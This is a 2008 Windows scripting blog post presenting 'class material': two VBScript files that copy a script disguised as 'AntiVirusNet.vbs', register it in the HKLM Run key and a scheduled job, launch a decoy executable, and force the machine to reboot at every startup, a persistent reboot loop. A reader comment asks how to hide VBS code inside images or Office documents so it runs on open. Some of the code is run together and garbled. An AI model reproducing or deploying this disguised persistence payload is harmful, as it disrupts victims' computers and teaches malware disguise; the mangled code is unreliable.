Windows Scripting BLOG

Due to limited time working on this project this place is not intended to people who are new to scripting but much more for people who are already familiar with the VBS/WMI syntax.

Mittwoch, 26. März 2008

Learn Windows Scripting Act 3 - Class material

Class material for ACT 3

References
StdRegProv Class
http://msdn2.microsoft.com/en-us/library/aa393664(VS.85).aspx

Win32_OperatingSystem (reboot method)
http://msdn2.microsoft.com/en-us/library/aa393009(VS.85).aspx

Win32_LocalTime Class
http://msdn2.microsoft.com/en-us/library/aa394171(VS.85).aspx

Win32_ScheduledJob Class
http://msdn2.microsoft.com/en-us/library/aa394399(VS.85).aspx


Tools
Zip2Secure by Chilkat Software (free of charge)
http://www.chilkatsoft.com/ChilkatSfx.asp

Complete Script
!Attention! Do not use this script unless you know exactly what you are doing. Also, this is provided for educational purposes ONLY. do not use the presented in malicious fashion!


'File 1 Romcs.vbs
HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set WSHShell = CreateObject("Scripting.FilesystemObject")
WSHShell.CopyFile "AntiVirusNet.vbs", "C:\AntiVirusNet.vbs"
Set ObjRegistry = GetObject("winmgmts:{impersonationLevel = impersonate}!\\" & strComputer & "\root\default:StdRegProv")
Return = objRegistry.setStringValue(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run","WRSPXPBXUpd","C:\AntiVirusNet.vbs")
If Return <> 0 Then
msgbox("Keine Admin Rights!")
Else
Set objWMIService1 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers3 = objWMIService1.ExecQuery("Select * from Win32_LocalTime")
For Each objComputer2 in colComputers3
Hou = objComputer2.HourMin = objComputer2.Minute
if Hou < 10 thenHou = 0 & objComputer2.Hourend if
next
if Min < 10 thenMin = 0 & objComputer2.Minute
end if
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.Get("Win32_ScheduledJob")T = "C:\AntiVirusNet.vbs"D = "********" & Hou & "" & Min & "00.000000+000"
'+1 hour automatically
erret = colComputers2.Create(T,D,JobID1000)Set WSHShell1 = CreateObject("WScript.Shell")WSHShell1.Run "bowling.exe"'WSHShell.DeleteFile ("*.vsbs")End IF



' File 2 AntiVirusNet.vbs
On error resume nextstrComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set colComputers2 = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2objComputer2.Security.privileges.AddAsString "SeShutdownPrivilege", trueerrRet = objComputer2.Reboot()next

Kommentare:

Pedro hat gesagt…

HI!! DO YOU KNOW HOW TO EMBED/INSERT/HIDE .VBS SCRIPT FILE OR CODE INSIDE A IMAGE OR EXCEL, WORD DOCUMENT? I WANNA TO CREATE A AUTOMATION TO THAT IMAGE/DOC WHEN THE IMAGE/DOC IS OPEN. example: VBS FILE/SCRIPT THAT MAKES NOTEPAD OPENS UP INSTANTLY WHEN I CLICK TO OPEN THE IMAGE. i HAVE THE CORRECT .VBS FILE/SCRIPT WRITTEN, BUT I WANNA INPUT IT/INJECT IT IN A IMAGE OR DOC FILE. HOW I DO THAT INSERTION???

Pedro hat gesagt…

HI!! DO YOU KNOW HOW TO EMBED/INSERT/HIDE .VBS SCRIPT FILE OR CODE INSIDE A IMAGE OR EXCEL, WORD DOCUMENT? I WANNA TO CREATE A AUTOMATION TO THAT IMAGE/DOC WHEN THE IMAGE/DOC IS OPEN. example: VBS FILE/SCRIPT THAT MAKES NOTEPAD OPENS UP INSTANTLY WHEN I CLICK TO OPEN THE IMAGE. i HAVE THE CORRECT .VBS FILE/SCRIPT WRITTEN, BUT I WANNA INPUT IT/INJECT IT IN A IMAGE OR DOC FILE. HOW I DO THAT INSERTION???

MWComputerfreak hat gesagt…

I am a vbs maker! Please read my blog!

Here is the Adress:

http://vbstricks.blogspot.com/